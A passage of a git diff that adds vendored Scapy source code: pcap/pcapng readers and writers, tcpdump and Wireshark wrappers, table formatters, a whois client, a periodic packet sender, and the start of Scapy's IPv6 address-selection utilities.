struct.unpack( + self.endian + "HHIIII", hdr + ) + self.linktype = linktype + self.snaplen = snaplen + + def __iter__(self): + return self + + def next(self): + """implement the iterator protocol on a set of packets in a pcap file + pkt is a tuple (pkt_data, pkt_metadata) as defined in + RawPcapReader.read_packet() + + """ + try: + return self.read_packet() + except EOFError: + raise StopIteration + + __next__ = next + + def read_packet(self, size=MTU): + """return a single packet read from the file as a tuple containing + (pkt_data, pkt_metadata) + + raise EOFError when no more packets are available + """ + hdr = self.f.read(16) + if len(hdr) < 16: + raise EOFError + sec, usec, caplen, wirelen = struct.unpack(self.endian + "IIII", hdr) + return (self.f.read(caplen)[:size], + RawPcapReader.PacketMetadata(sec=sec, usec=usec, + wirelen=wirelen, caplen=caplen)) + + def dispatch(self, callback): + """call the specified callback routine for each packet read + + This is just a convenience function for the main loop + that allows for easy launching of packet processing in a + thread. + """ + for p in self: + callback(p) + + def read_all(self, count=-1): + """return a list of all packets in the pcap file + """ + res = [] + while count != 0: + count -= 1 + try: + p = self.read_packet() + except EOFError: + break + res.append(p) + return res + + def recv(self, size=MTU): + """ Emulate a socket + """ + return self.read_packet(size=size)[0] + + def fileno(self): + return self.f.fileno() + + def close(self): + return self.f.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, tracback): + self.close() + + # emulate SuperSocket + @staticmethod + def select(sockets, remain=None): + return sockets, None + + +class PcapReader(RawPcapReader): + def __init__(self, filename, fdesc, magic): + RawPcapReader.__init__(self, filename, fdesc, magic) + try: + self.LLcls = conf.l2types[self.linktype] + except KeyError: + warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % ( + self.linktype, self.linktype)) # noqa: E501 + self.LLcls = conf.raw_layer + + def read_packet(self, size=MTU): + rp = super(PcapReader, self).read_packet(size=size) + if rp is None: + raise EOFError + s, pkt_info = rp + + try: + p = self.LLcls(s) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissector: + from scapy.sendrecv import debug + debug.crashed_on = (self.LLcls, s) + raise + p = conf.raw_layer(s) + power = Decimal(10) ** Decimal(-9 if self.nano else -6) + p.time = EDecimal(pkt_info.sec + power * pkt_info.usec) + p.wirelen = pkt_info.wirelen + return p + + def read_all(self, count=-1): + res = RawPcapReader.read_all(self, count) + from scapy import plist + return plist.PacketList(res, name=os.path.basename(self.filename)) + + def recv(self, size=MTU): + return self.read_packet(size=size) + + +class RawPcapNgReader(RawPcapReader): + """A stateful pcapng reader. Each packet is returned as + bytes. + + """ + + alternative = RawPcapReader + + PacketMetadata = collections.namedtuple("PacketMetadata", + ["linktype", "tsresol", + "tshigh", "tslow", "wirelen"]) + + def __init__(self, filename, fdesc, magic): + self.filename = filename + self.f = fdesc + # A list of (linktype, snaplen, tsresol); will be populated by IDBs. + self.interfaces = [] + self.default_options = { + "tsresol": 1000000 + } + self.blocktypes = { + 1: self.read_block_idb, + 2: self.read_block_pkt, + 3: self.read_block_spb, + 6: self.read_block_epb, + } + if magic != b"\x0a\x0d\x0d\x0a": # PcapNg: + raise Scapy_Exception( + "Not a pcapng capture file (bad magic: %r)" % magic + ) + # see https://github.com/pcapng/pcapng + blocklen, magic = self.f.read(4), self.f.read(4) # noqa: F841 + if magic == b"\x1a\x2b\x3c\x4d": + self.endian = ">" + elif magic == b"\x4d\x3c\x2b\x1a": + self.endian = "<" + else: + raise Scapy_Exception("Not a pcapng capture file (bad magic)") + self.f.read(12) + blocklen = struct.unpack("!I", blocklen)[0] + # Read default options + self.default_options = self.read_options( + self.f.read(blocklen - 24) + ) + try: + self.f.seek(0) + except Exception: + pass + + def read_packet(self, size=MTU): + """Read blocks until it reaches either EOF or a packet, and + returns None or (packet, (linktype, sec, usec, wirelen)), + where packet is a string. + + """ + while True: + try: + blocktype, blocklen = struct.unpack(self.endian + "2I", + self.f.read(8)) + except struct.error: + raise EOFError + block = self.f.read(blocklen - 12) + if blocklen % 4: + pad = self.f.read(4 - (blocklen % 4)) + warning("PcapNg: bad blocklen %d (MUST be a multiple of 4. " + "Ignored padding %r" % (blocklen, pad)) + try: + if (blocklen,) != struct.unpack(self.endian + 'I', + self.f.read(4)): + warning("PcapNg: Invalid pcapng block (bad blocklen)") + except struct.error: + raise EOFError + res = self.blocktypes.get(blocktype, + lambda block, size: None)(block, size) + if res is not None: + return res + + def read_options(self, options): + """Section Header Block""" + opts = self.default_options.copy() + while len(options) >= 4: + code, length = struct.unpack(self.endian + "HH", options[:4]) + # PCAP Next Generation (pcapng) Capture File Format + # 4.2. - Interface Description Block + # http://xml2rfc.tools.ietf.org/cgi-bin/xml2rfc.cgi?url=https://raw.githubusercontent.com/pcapng/pcapng/master/draft-tuexen-opsawg-pcapng.xml&modeAsFormat=html/ascii&type=ascii#rfc.section.4.2 + if code == 9 and length == 1 and len(options) >= 5: + tsresol = orb(options[4]) + opts["tsresol"] = (2 if tsresol & 128 else 10) ** ( + tsresol & 127 + ) + if code == 0: + if length != 0: + warning("PcapNg: invalid option length %d for end-of-option" % length) # noqa: E501 + break + if length % 4: + length += (4 - (length % 4)) + options = options[4 + length:] + return opts + + def read_block_idb(self, block, _): + """Interface Description Block""" + options = self.read_options(block[16:]) + self.interfaces.append(struct.unpack(self.endian + "HxxI", block[:8]) + + (options["tsresol"],)) + + def read_block_epb(self, block, size): + """Enhanced Packet Block""" + intid, tshigh, tslow, caplen, wirelen = struct.unpack( + self.endian + "5I", + block[:20], + ) + return (block[20:20 + caplen][:size], + RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 + tsresol=self.interfaces[intid][2], # noqa: E501 + tshigh=tshigh, + tslow=tslow, + wirelen=wirelen)) + + def read_block_spb(self, block, size): + """Simple Packet Block""" + # "it MUST be assumed that all the Simple Packet Blocks have + # been captured on the interface previously specified in the + # first Interface Description Block." + intid = 0 + wirelen, = struct.unpack(self.endian + "I", block[:4]) + caplen = min(wirelen, self.interfaces[intid][1]) + return (block[4:4 + caplen][:size], + RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 + tsresol=self.interfaces[intid][2], # noqa: E501 + tshigh=None, + tslow=None, + wirelen=wirelen)) + + def read_block_pkt(self, block, size): + """(Obsolete) Packet Block""" + intid, drops, tshigh, tslow, caplen, wirelen = struct.unpack( + self.endian + "HH4I", + block[:20], + ) + return (block[20:20 + caplen][:size], + RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 + tsresol=self.interfaces[intid][2], # noqa: E501 + tshigh=tshigh, + tslow=tslow, + wirelen=wirelen)) + + +class PcapNgReader(RawPcapNgReader): + alternative = PcapReader + + def __init__(self, filename, fdesc, magic): + RawPcapNgReader.__init__(self, filename, fdesc, magic) + + def read_packet(self, size=MTU): + rp = super(PcapNgReader, self).read_packet(size=size) + if rp is None: + raise EOFError + s, (linktype, tsresol, tshigh, tslow, wirelen) = rp + try: + p = conf.l2types[linktype](s) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissector: + raise + p = conf.raw_layer(s) + if tshigh is not None: + p.time = EDecimal((tshigh << 32) + tslow) / tsresol + p.wirelen = wirelen + return p + + def read_all(self, count=-1): + res = RawPcapNgReader.read_all(self, count) + from scapy import plist + return plist.PacketList(res, name=os.path.basename(self.filename)) + + def recv(self, size=MTU): + return self.read_packet() + + +class RawPcapWriter: + """A stream PCAP writer with more control than wrpcap()""" + + def __init__(self, filename, linktype=None, gz=False, endianness="", + append=False, sync=False, nano=False, snaplen=MTU): + """ + :param filename: the name of the file to write packets to, or an open, + writable file-like object. + :param linktype: force linktype to a given value. If None, linktype is + taken from the first writer packet + :param gz: compress the capture on the fly + :param endianness: force an endianness (little:"<", big:">"). + Default is native + :param append: append packets to the capture file instead of + truncating it + :param sync: do not bufferize writes to the capture file + :param nano: use nanosecond-precision (requires libpcap >= 1.5.0) + + """ + + self.linktype = linktype + self.snaplen = snaplen + self.header_present = 0 + self.append = append + self.gz = gz + self.endian = endianness + self.sync = sync + self.nano = nano + bufsz = 4096 + if sync: + bufsz = 0 + + if isinstance(filename, six.string_types): + self.filename = filename + self.f = [open, gzip.open][gz](filename, append and "ab" or "wb", gz and 9 or bufsz) # noqa: E501 + else: + self.f = filename + self.filename = getattr(filename, "name", "No name") + + def fileno(self): + return self.f.fileno() + + def _write_header(self, pkt): + self.header_present = 1 + + if self.append: + # Even if prone to race conditions, this seems to be + # safest way to tell whether the header is already present + # because we have to handle compressed streams that + # are not as flexible as basic files + g = [open, gzip.open][self.gz](self.filename, "rb") + if g.read(16): + return + + self.f.write(struct.pack(self.endian + "IHHIIII", 0xa1b23c4d if self.nano else 0xa1b2c3d4, # noqa: E501 + 2, 4, 0, 0, self.snaplen, self.linktype)) + self.f.flush() + + def write(self, pkt): + """ + Writes a Packet, a SndRcvList object, or bytes to a pcap file. + + :param pkt: Packet(s) to write (one record for each Packet), or raw + bytes to write (as one record). + :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet or bytes + """ + if isinstance(pkt, bytes): + if not self.header_present: + self._write_header(pkt) + self._write_packet(pkt) + else: + # Import here to avoid a circular dependency + from scapy.plist import SndRcvList + if isinstance(pkt, SndRcvList): + pkt = (p for t in pkt for p in t) + else: + pkt = pkt.__iter__() + for p in pkt: + + if not self.header_present: + self._write_header(p) + + if self.linktype != conf.l2types.get(type(p), None): + warning("Inconsistent linktypes detected!" + " The resulting PCAP file might contain" + " invalid packets." + ) + + self._write_packet(p) + + def _write_packet(self, packet, sec=None, usec=None, caplen=None, + wirelen=None): + """ + Writes a single packet to the pcap file. + + :param packet: bytes for a single packet + :type packet: bytes + :param sec: time the packet was captured, in seconds since epoch. If + not supplied, defaults to now. + :type sec: int or long + :param usec: If ``nano=True``, then number of nanoseconds after the + second that the packet was captured. If ``nano=False``, + then the number of microseconds after the second the + packet was captured + :type usec: int or long + :param caplen: The length of the packet in the capture file. If not + specified, uses ``len(packet)``. + :type caplen: int + :param wirelen: The length of the packet on the wire. If not + specified, uses ``caplen``. + :type wirelen: int + :return: None + :rtype: None + """ + if caplen is None: + caplen = len(packet) + if wirelen is None: + wirelen = caplen + if sec is None or usec is None: + t = time.time() + it = int(t) + if sec is None: + sec = it + usec = int(round((t - it) * + (1000000000 if self.nano else 1000000))) + elif usec is None: + usec = 0 + + self.f.write(struct.pack(self.endian + "IIII", + sec, usec, caplen, wirelen)) + self.f.write(packet) + if self.sync: + self.f.flush() + + def flush(self): + return self.f.flush() + + def close(self): + if not self.header_present: + self._write_header(None) + return self.f.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, tracback): + self.flush() + self.close() + + +class PcapWriter(RawPcapWriter): + """A stream PCAP writer with more control than wrpcap()""" + + def _write_header(self, pkt): + if self.linktype is None: + try: + self.linktype = conf.l2types[pkt.__class__] + # Import here to prevent import loops + from scapy.layers.inet import IP + from scapy.layers.inet6 import IPv6 + if OPENBSD and isinstance(pkt, (IP, IPv6)): + self.linktype = 14 # DLT_RAW + except KeyError: + warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)", + pkt.__class__.__name__) # noqa: E501 + self.linktype = DLT_EN10MB + RawPcapWriter._write_header(self, pkt) + + def _write_packet(self, packet, sec=None, usec=None, caplen=None, + wirelen=None): + """ + Writes a single packet to the pcap file. + + :param packet: Packet, or bytes for a single packet + :type packet: scapy.packet.Packet or bytes + :param sec: time the packet was captured, in seconds since epoch. If + not supplied, defaults to now. + :type sec: int or long + :param usec: If ``nano=True``, then number of nanoseconds after the + second that the packet was captured. If ``nano=False``, + then the number of microseconds after the second the + packet was captured. If ``sec`` is not specified, + this value is ignored. + :type usec: int or long + :param caplen: The length of the packet in the capture file. If not + specified, uses ``len(raw(packet))``. + :type caplen: int + :param wirelen: The length of the packet on the wire. If not + specified, tries ``packet.wirelen``, otherwise uses + ``caplen``. + :type wirelen: int + :return: None + :rtype: None + """ + if hasattr(packet, "time"): + if sec is None: + sec = int(packet.time) + usec = int(round((packet.time - sec) * + (1000000000 if self.nano else 1000000))) + if usec is None: + usec = 0 + + rawpkt = raw(packet) + caplen = len(rawpkt) if caplen is None else caplen + + if wirelen is None: + if hasattr(packet, "wirelen"): + wirelen = packet.wirelen + if wirelen is None: + wirelen = caplen + + RawPcapWriter._write_packet( + self, rawpkt, sec=sec, usec=usec, caplen=caplen, wirelen=wirelen) + + +@conf.commands.register +def import_hexcap(input_string=None): + """Imports a tcpdump like hexadecimal view + + e.g: exported via hexdump() or tcpdump or wireshark's "export as hex" + + :param input_string: String containing the hexdump input to parse. If None, + read from standard input. + """ + re_extract_hexcap = re.compile(r"^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") # noqa: E501 + p = "" + try: + if input_string: + input_function = six.StringIO(input_string).readline + else: + input_function = input + while True: + line = input_function().strip() + if not line: + break + try: + p += re_extract_hexcap.match(line).groups()[2] + except Exception: + warning("Parsing error during hexcap") + continue + except EOFError: + pass + + p = p.replace(" ", "") + return hex_bytes(p) + + +@conf.commands.register +def wireshark(pktlist, wait=False, **kwargs): + """ + Runs Wireshark on a list of packets. + + See :func:`tcpdump` for more parameter description. + + Note: this defaults to wait=False, to run Wireshark in the background. + """ + return tcpdump(pktlist, prog=conf.prog.wireshark, wait=wait, **kwargs) + + +@conf.commands.register +def tdecode(pktlist, args=None, **kwargs): + """ + Run tshark on a list of packets. + + :param args: If not specified, defaults to ``tshark -V``. + + See :func:`tcpdump` for more parameters. + """ + if args is None: + args = ["-V"] + return tcpdump(pktlist, prog=conf.prog.tshark, args=args, **kwargs) + + +def _guess_linktype_name(value): + """Guess the DLT name from its value.""" + import scapy.data + return next( + k[4:] for k, v in six.iteritems(scapy.data.__dict__) + if k.startswith("DLT") and v == value + ) + + +def _guess_linktype_value(name): + """Guess the value of a DLT name.""" + import scapy.data + if not name.startswith("DLT_"): + name = "DLT_" + name + return scapy.data.__dict__[name] + + +@conf.commands.register +def tcpdump(pktlist=None, dump=False, getfd=False, args=None, + prog=None, getproc=False, quiet=False, use_tempfile=None, + read_stdin_opts=None, linktype=None, wait=True, + _suppress=False): + """Run tcpdump or tshark on a list of packets. + + When using ``tcpdump`` on OSX (``prog == conf.prog.tcpdump``), this uses a + temporary file to store the packets. This works around a bug in Apple's + version of ``tcpdump``: http://apple.stackexchange.com/questions/152682/ + + Otherwise, the packets are passed in stdin. + + This function can be explicitly enabled or disabled with the + ``use_tempfile`` parameter. + + When using ``wireshark``, it will be called with ``-ki -`` to start + immediately capturing packets from stdin. + + Otherwise, the command will be run with ``-r -`` (which is correct for + ``tcpdump`` and ``tshark``). + + This can be overridden with ``read_stdin_opts``. This has no effect when + ``use_tempfile=True``, or otherwise reading packets from a regular file. + + :param pktlist: a Packet instance, a PacketList instance or a list of + Packet instances. Can also be a filename (as a string), an open + file-like object that must be a file format readable by + tshark (Pcap, PcapNg, etc.) or None (to sniff) + + :param dump: when set to True, returns a string instead of displaying it. + :param getfd: when set to True, returns a file-like object to read data + from tcpdump or tshark from. + :param getproc: when set to True, the subprocess.Popen object is returned + :param args: arguments (as a list) to pass to tshark (example for tshark: + args=["-T", "json"]). + :param prog: program to use (defaults to tcpdump, will work with tshark) + :param quiet: when set to True, the process stderr is discarded + :param use_tempfile: When set to True, always use a temporary file to store + packets. + When set to False, pipe packets through stdin. + When set to None (default), only use a temporary file with + ``tcpdump`` on OSX. + :param read_stdin_opts: When set, a list of arguments needed to capture + from stdin. Otherwise, attempts to guess. + :param linktype: A custom DLT value or name, to overwrite the default + values. + :param wait: If True (default), waits for the process to terminate before + returning to Scapy. If False, the process will be detached to the + background. If dump, getproc or getfd is True, these have the same + effect as ``wait=False``. + + Examples:: + + >>> tcpdump([IP()/TCP(), IP()/UDP()]) + reading from file -, link-type RAW (Raw IP) + 16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0 # noqa: E501 + 16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain] + + >>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark) + 1 0.000000 127.0.0.1 -> 127.0.0.1 TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0 # noqa: E501 + 2 0.000459 127.0.0.1 -> 127.0.0.1 UDP 28 53->53 Len=0 + + To get a JSON representation of a tshark-parsed PacketList(), one can:: + + >>> import json, pprint + >>> json_data = json.load(tcpdump(IP(src="217.25.178.5", + ... dst="45.33.32.156"), + ... prog=conf.prog.tshark, + ... args=["-T", "json"], + ... getfd=True)) + >>> pprint.pprint(json_data) + [{u'_index': u'packets-2016-12-23', + u'_score': None, + u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20', + u'frame.encap_type': u'7', + [...] + }, + u'ip': {u'ip.addr': u'45.33.32.156', + u'ip.checksum': u'0x0000a20d', + [...] + u'ip.ttl': u'64', + u'ip.version': u'4'}, + u'raw': u'Raw packet data'}}, + u'_type': u'pcap_file'}] + >>> json_data[0]['_source']['layers']['ip']['ip.ttl'] + u'64' + """ + getfd = getfd or getproc + if prog is None: + if not conf.prog.tcpdump: + raise Scapy_Exception( + "tcpdump is not available" + ) + prog = [conf.prog.tcpdump] + elif isinstance(prog, six.string_types): + prog = [prog] + else: + raise ValueError("prog must be a string") + + if linktype is not None: + # Tcpdump does not support integers in -y (yet) + # https://github.com/the-tcpdump-group/tcpdump/issues/758 + if isinstance(linktype, int): + # Guess name from value + try: + linktype_name = _guess_linktype_name(linktype) + except StopIteration: + linktype = -1 + else: + # Guess value from name + if linktype.startswith("DLT_"): + linktype = linktype[4:] + linktype_name = linktype + try: + linktype = _guess_linktype_value(linktype) + except KeyError: + linktype = -1 + if linktype == -1: + raise ValueError( + "Unknown linktype. Try passing its datalink name instead" + ) + prog += ["-y", linktype_name] + + # Build Popen arguments + if args is None: + args = [] + else: + # Make a copy of args + args = list(args) + + stdout = subprocess.PIPE if dump or getfd else None + stderr = open(os.devnull) if quiet else None + proc = None + + if use_tempfile is None: + # Apple's tcpdump cannot read from stdin, see: + # http://apple.stackexchange.com/questions/152682/ + use_tempfile = DARWIN and prog[0] == conf.prog.tcpdump + + if read_stdin_opts is None: + if prog[0] == conf.prog.wireshark: + # Start capturing immediately (-k) from stdin (-i -) + read_stdin_opts = ["-ki", "-"] + else: + read_stdin_opts = ["-r", "-"] + else: + # Make a copy of read_stdin_opts + read_stdin_opts = list(read_stdin_opts) + + if pktlist is None: + # sniff + with ContextManagerSubprocess(prog[0], suppress=_suppress): + proc = subprocess.Popen( + prog + args, + stdout=stdout, + stderr=stderr, + ) + elif isinstance(pktlist, six.string_types): + # file + with ContextManagerSubprocess(prog[0], suppress=_suppress): + proc = subprocess.Popen( + prog + ["-r", pktlist] + args, + stdout=stdout, + stderr=stderr, + ) + elif use_tempfile: + tmpfile = get_temp_file(autoext=".pcap", fd=True) + try: + tmpfile.writelines(iter(lambda: pktlist.read(1048576), b"")) + except AttributeError: + wrpcap(tmpfile, pktlist, linktype=linktype) + else: + tmpfile.close() + with ContextManagerSubprocess(prog[0], suppress=_suppress): + proc = subprocess.Popen( + prog + ["-r", tmpfile.name] + args, + stdout=stdout, + stderr=stderr, + ) + else: + # pass the packet stream + with ContextManagerSubprocess(prog[0], suppress=_suppress): + proc = subprocess.Popen( + prog + read_stdin_opts + args, + stdin=subprocess.PIPE, + stdout=stdout, + stderr=stderr, + ) + if proc is None: + # An error has occurred + return + try: + proc.stdin.writelines(iter(lambda: pktlist.read(1048576), b"")) + except AttributeError: + wrpcap(proc.stdin, pktlist, linktype=linktype) + except UnboundLocalError: + # The error was handled by ContextManagerSubprocess + pass + else: + proc.stdin.close() + if proc is None: + # An error has occurred + return + if dump: + return b"".join(iter(lambda: proc.stdout.read(1048576), b"")) + if getproc: + return proc + if getfd: + return proc.stdout + if wait: + proc.wait() + + +@conf.commands.register +def hexedit(pktlist): + """Run hexedit on a list of packets, then return the edited packets.""" + f = get_temp_file() + wrpcap(f, pktlist) + with ContextManagerSubprocess(conf.prog.hexedit): + subprocess.call([conf.prog.hexedit, f]) + pktlist = rdpcap(f) + os.unlink(f) + return pktlist + + +def get_terminal_width(): + """Get terminal width (number of characters) if in a window. + + Notice: this will try several methods in order to + support as many terminals and OS as possible. + """ + # Let's first try using the official API + # (Python 3.3+) + if not six.PY2: + import shutil + sizex = shutil.get_terminal_size(fallback=(0, 0))[0] + if sizex != 0: + return sizex + # Backups / Python 2.7 + if WINDOWS: + from ctypes import windll, create_string_buffer + # http://code.activestate.com/recipes/440694-determine-size-of-console-window-on-windows/ + h = windll.kernel32.GetStdHandle(-12) + csbi = create_string_buffer(22) + res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) + if res: + (bufx, bufy, curx, cury, wattr, + left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) # noqa: E501 + sizex = right - left + 1 + # sizey = bottom - top + 1 + return sizex + return None + else: + # We have various methods + sizex = None + # COLUMNS is set on some terminals + try: + sizex = int(os.environ['COLUMNS']) + except Exception: + pass + if sizex: + return sizex + # We can query TIOCGWINSZ + try: + import fcntl + import termios + s = struct.pack('HHHH', 0, 0, 0, 0) + x = fcntl.ioctl(1, termios.TIOCGWINSZ, s) + sizex = struct.unpack('HHHH', x)[1] + except IOError: + pass + return sizex + + +def pretty_list(rtlst, header, sortBy=0, borders=False): + """Pretty list to fit the terminal, and add header""" + if borders: + _space = "|" + else: + _space = " " + # Windows has a fat terminal border + _spacelen = len(_space) * (len(header) - 1) + (10 if WINDOWS else 0) + _croped = False + # Sort correctly + rtlst.sort(key=lambda x: x[sortBy]) + # Append tag + rtlst = header + rtlst + # Detect column's width + colwidth = [max([len(y) for y in x]) for x in zip(*rtlst)] + # Make text fit in box (if required) + width = get_terminal_width() + if conf.auto_crop_tables and width: + width = width - _spacelen + while sum(colwidth) > width: + _croped = True + # Needs to be cropped + # Get the longest row + i = colwidth.index(max(colwidth)) + # Get all elements of this row + row = [len(x[i]) for x in rtlst] + # Get biggest element of this row: biggest of the array + j = row.index(max(row)) + # Re-build column tuple with the edited element + t = list(rtlst[j]) + t[i] = t[i][:-2] + "_" + rtlst[j] = tuple(t) + # Update max size + row[j] = len(t[i]) + colwidth[i] = max(row) + if _croped: + log_runtime.info("Table cropped to fit the terminal (conf.auto_crop_tables==True)") # noqa: E501 + # Generate padding scheme + fmt = _space.join(["%%-%ds" % x for x in colwidth]) + # Append separation line if needed + if borders: + rtlst.insert(1, tuple("-" * x for x in colwidth)) + # Compile + rt = "\n".join(((fmt % x).strip() for x in rtlst)) + return rt + + +def __make_table(yfmtfunc, fmtfunc, endline, data, fxyz, sortx=None, sorty=None, seplinefunc=None): # noqa: E501 + """Core function of the make_table suite, which generates the table""" + vx = {} + vy = {} + vz = {} + vxf = {} + + # Python 2 backward compatibility + fxyz = lambda_tuple_converter(fxyz) + + tmp_len = 0 + for e in data: + xx, yy, zz = [str(s) for s in fxyz(*e)] + tmp_len = max(len(yy), tmp_len) + vx[xx] = max(vx.get(xx, 0), len(xx), len(zz)) + vy[yy] = None + vz[(xx, yy)] = zz + + vxk = list(vx) + vyk = list(vy) + if sortx: + vxk.sort(key=sortx) + else: + try: + vxk.sort(key=int) + except Exception: + try: + vxk.sort(key=atol) + except Exception: + vxk.sort() + if sorty: + vyk.sort(key=sorty) + else: + try: + vyk.sort(key=int) + except Exception: + try: + vyk.sort(key=atol) + except Exception: + vyk.sort() + + if seplinefunc: + sepline = seplinefunc(tmp_len, [vx[x] for x in vxk]) + print(sepline) + + fmt = yfmtfunc(tmp_len) + print(fmt % "", end=' ') + for x in vxk: + vxf[x] = fmtfunc(vx[x]) + print(vxf[x] % x, end=' ') + print(endline) + if seplinefunc: + print(sepline) + for y in vyk: + print(fmt % y, end=' ') + for x in vxk: + print(vxf[x] % vz.get((x, y), "-"), end=' ') + print(endline) + if seplinefunc: + print(sepline) + + +def make_table(*args, **kargs): + __make_table(lambda l: "%%-%is" % l, lambda l: "%%-%is" % l, "", *args, **kargs) # noqa: E501 + + +def make_lined_table(*args, **kargs): + __make_table(lambda l: "%%-%is |" % l, lambda l: "%%-%is |" % l, "", + seplinefunc=lambda a, x: "+".join('-' * (y + 2) for y in [a - 1] + x + [-2]), # noqa: E501 + *args, **kargs) + + +def make_tex_table(*args, **kargs): + __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a, x: "\\hline", *args, + **kargs) # noqa: E501 + + +#################### +# WHOIS CLIENT # +#################### + + +def whois(ip_address): + """Whois client for Python""" + whois_ip = str(ip_address) + try: + query = socket.gethostbyname(whois_ip) + except Exception: + query = whois_ip + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("whois.ripe.net", 43)) + s.send(query.encode("utf8") + b"\r\n") + answer = b"" + while True: + d = s.recv(4096) + answer += d + if not d: + break + s.close() + ignore_tag = b"remarks:" + # ignore all lines starting with the ignore_tag + lines = [line for line in answer.split(b"\n") if + not line or (line and not line.startswith(ignore_tag))] # noqa: E501 + # remove empty lines at the bottom + for i in range(1, len(lines)): + if not lines[-i].strip(): + del lines[-i] + else: + break + return b"\n".join(lines[3:]) + + +####################### +# PERIODIC SENDER # +####################### + + +class PeriodicSenderThread(threading.Thread): + def __init__(self, sock, pkt, interval=0.5): + """ Thread to send packets periodically + + Args: + sock: socket where packet is sent periodically + pkt: packet to send + interval: interval between two packets + """ + self._pkt = pkt + self._socket = sock + self._stopped = threading.Event() + self._interval = interval + threading.Thread.__init__(self) + + def run(self): + while not self._stopped.is_set(): + self._socket.send(self._pkt) + time.sleep(self._interval) + + def stop(self): + self._stopped.set() diff --git a/libs/scapy/utils6.py b/libs/scapy/utils6.py new file mode 100755 index 0000000..07f41f7 --- /dev/null +++ b/libs/scapy/utils6.py @@ -0,0 +1,905 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +# Copyright (C) 2005 Guillaume Valadon +# Arnaud Ebalard + +""" +Utility functions for IPv6. +""" +from __future__ import absolute_import +import operator +import random +import socket +import struct +import time +import re + +from scapy.config import conf +from scapy.base_classes import Gen +from scapy.data import IPV6_ADDR_GLOBAL, IPV6_ADDR_LINKLOCAL, \ + IPV6_ADDR_SITELOCAL, IPV6_ADDR_LOOPBACK, IPV6_ADDR_UNICAST,\ + IPV6_ADDR_MULTICAST, IPV6_ADDR_6TO4, IPV6_ADDR_UNSPECIFIED +from scapy.utils import strxor +from scapy.compat import orb, chb +from scapy.pton_ntop import inet_pton, inet_ntop +from scapy.volatile import RandMAC +from scapy.error import warning, Scapy_Exception +from functools import reduce, cmp_to_key +from scapy.modules.six.moves import range, zip + + +def construct_source_candidate_set(addr, plen, laddr): + """ + Given all addresses assigned to a specific interface ('laddr' parameter), + this function returns the "candidate set" associated with 'addr/plen'. + + Basically, the function filters all interface addresses to keep only those + that have the same scope as provided prefix. + + This is on this list of addresses that the source selection mechanism + will then be performed to select the best source address associated + with some specific destination that uses this prefix. + """ + def cset_sort(x, y): + x_global = 0 + if in6_isgladdr(x): + x_global = 1 + y_global = 0 + if in6_isgladdr(y): + y_global = 1 + res = y_global - x_global + if res != 0 or y_global != 1: + return res + # two global addresses: if one is native, it wins. + if not in6_isaddr6to4(x): + return -1 + return -res + + cset = [] + if in6_isgladdr(addr) or in6_isuladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) + elif in6_islladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) + elif in6_issladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) + elif in6_ismaddr(addr): + if in6_ismnladdr(addr): + cset = [('::1', 16, conf.loopback_name)] + elif in6_ismgladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) + elif in6_ismlladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) + elif in6_ismsladdr(addr): + cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) + elif addr == '::' and plen == 0: + cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) + cset = [x[0] for x in cset] + # TODO convert the cmd use into a key + cset.sort(key=cmp_to_key(cset_sort)) # Sort with global addresses first + return cset + + +def get_source_addr_from_candidate_set(dst, candidate_set): + """ + This function implement a limited version of source address selection + algorithm defined in section 5 of RFC 3484. The format is very different + from that described in the document because it operates on a set + of candidate source address for some specific route. + """ + + def scope_cmp(a, b): + """ + Given two addresses, returns -1, 0 or 1 based on comparison of + their scope + """ + scope_mapper = {IPV6_ADDR_GLOBAL: 4, + IPV6_ADDR_SITELOCAL: 3, + IPV6_ADDR_LINKLOCAL: 2, + IPV6_ADDR_LOOPBACK: 1} + sa = in6_getscope(a) + if sa == -1: + sa = IPV6_ADDR_LOOPBACK + sb = in6_getscope(b) + if sb == -1: + sb = IPV6_ADDR_LOOPBACK + + sa = scope_mapper[sa] + sb = scope_mapper[sb] + + if sa == sb: + return 0 + if sa > sb: + return 1 + return -1 + + def rfc3484_cmp(source_a, source_b): + """ + The function implements a limited version of the rules from Source + Address selection algorithm defined section of RFC 3484. + """ + + # Rule 1: Prefer same address + if source_a == dst: + return 1 + if source_b == dst: + return 1 + + # Rule 2: Prefer appropriate scope + tmp = scope_cmp(source_a, source_b) + if tmp == -1: + if scope_cmp(source_a, dst) == -1: + return 1 + else: + return -1 + elif tmp == 1: + if scope_cmp(source_b, dst) == -1: + return 1 + else: + return -1 + + # Rule 3: cannot be easily implemented + # Rule 4: cannot be easily implemented + # Rule 5: does not make sense here + # Rule 6: cannot be implemented + # Rule 7: cannot be implemented + + # Rule 8: Longest prefix match + 